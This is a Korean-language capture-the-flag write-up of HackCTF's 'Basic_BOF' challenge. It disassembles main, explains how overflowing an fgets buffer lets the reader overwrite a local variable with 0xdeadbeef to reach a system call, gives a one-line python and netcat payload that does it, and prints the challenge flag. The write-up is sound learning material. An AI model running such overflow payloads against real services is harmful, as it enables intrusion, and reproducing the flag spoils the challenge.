[hackCTF] Basic_BOF

<문제>

nc ctf.j0n9hyun.xyz 3000

 

<문제 해결>

gef➤  disas main                                                                                           
Dump of assembler code for function main:
   0x080484cb <+0>:     lea    ecx,[esp+0x4]
   0x080484cf <+4>:     and    esp,0xfffffff0
   0x080484d2 <+7>:     push   DWORD PTR [ecx-0x4]
   0x080484d5 <+10>:    push   ebp
   0x080484d6 <+11>:    mov    ebp,esp
   0x080484d8 <+13>:    push   ecx
   0x080484d9 <+14>:    sub    esp,0x34
   0x080484dc <+17>:    mov    DWORD PTR [ebp-0xc],0x4030201
   0x080484e3 <+24>:    mov    eax,ds:0x804a040
   0x080484e8 <+29>:    sub    esp,0x4
   0x080484eb <+32>:    push   eax
   0x080484ec <+33>:    push   0x2d
   0x080484ee <+35>:    lea    eax,[ebp-0x34]
   0x080484f1 <+38>:    push   eax
   0x080484f2 <+39>:    call   0x8048380 <fgets@plt>
   0x080484f7 <+44>:    add    esp,0x10
   0x080484fa <+47>:    sub    esp,0x8
   0x080484fd <+50>:    lea    eax,[ebp-0x34]
   0x08048500 <+53>:    push   eax
   0x08048501 <+54>:    push   0x8048610
   0x08048506 <+59>:    call   0x8048370 <printf@plt>
   0x0804850b <+64>:    add    esp,0x10
   0x0804850e <+67>:    sub    esp,0x8
   0x08048511 <+70>:    push   DWORD PTR [ebp-0xc]
   0x08048514 <+73>:    push   0x804861c
   0x08048519 <+78>:    call   0x8048370 <printf@plt>
   0x0804851e <+83>:    add    esp,0x10
   0x08048521 <+86>:    cmp    DWORD PTR [ebp-0xc],0x4030201
   0x08048528 <+93>:    je     0x8048543 <main+120>
   0x0804852a <+95>:    cmp    DWORD PTR [ebp-0xc],0xdeadbeef
   0x08048531 <+102>:   je     0x8048543 <main+120>
   0x08048533 <+104>:   sub    esp,0xc
   0x08048536 <+107>:   push   0x8048628
   0x0804853b <+112>:   call   0x8048390 <puts@plt>
   0x08048540 <+117>:   add    esp,0x10
   0x08048543 <+120>:   cmp    DWORD PTR [ebp-0xc],0xdeadbeef
   0x0804854a <+127>:   jne    0x804857c <main+177>
   0x0804854c <+129>:   sub    esp,0xc
   0x0804854f <+132>:   push   0x8048644
   0x08048554 <+137>:   call   0x8048390 <puts@plt>
   0x08048559 <+142>:   add    esp,0x10
   0x0804855c <+145>:   sub    esp,0xc
   0x0804855f <+148>:   push   0x804866e
   0x08048564 <+153>:   call   0x80483a0 <system@plt>
   0x08048569 <+158>:   add    esp,0x10
   0x0804856c <+161>:   sub    esp,0xc
   0x0804856f <+164>:   push   0x8048678
   0x08048574 <+169>:   call   0x8048390 <puts@plt>
   0x08048579 <+174>:   add    esp,0x10
   0x0804857c <+177>:   mov    eax,0x0
   0x08048581 <+182>:   mov    ecx,DWORD PTR [ebp-0x4]
   0x08048584 <+185>:   leave  
   0x08048585 <+186>:   lea    esp,[ecx-0x4]
   0x08048588 <+189>:   ret    
End of assembler dump.

<+35> 보면 fgets로 입력값 받아서 [ebp-0x34]에 저장하는 것을 알 수 있고, <+86> <+95> 등 [ebp-0xc]에 있는 값이랑 0x4030201, deadbeef랑 비교한다. 둘 중 하나만 만족하면 main+120로 이동해 deadbeef랑 다시 비교해 넘어가는 걸 보니 [ebp-0xc]에 있는 값을 deadbeef로 만들면 해결될 거 같다.

40만큼 차이나는 주소

-> 40바이트만큼 쓰레기값 채운 뒤 deadbeef 넣어주면 해결

payload : (python -c 'print "A"*40 + "\xef\xbe\xad\xde"'; cat) | nc ctf.j0n9hyun.xyz 3000

 

FLAG : HackCTF{f1r57_574ck_buff3r_0v3rfl0w_5ucc355}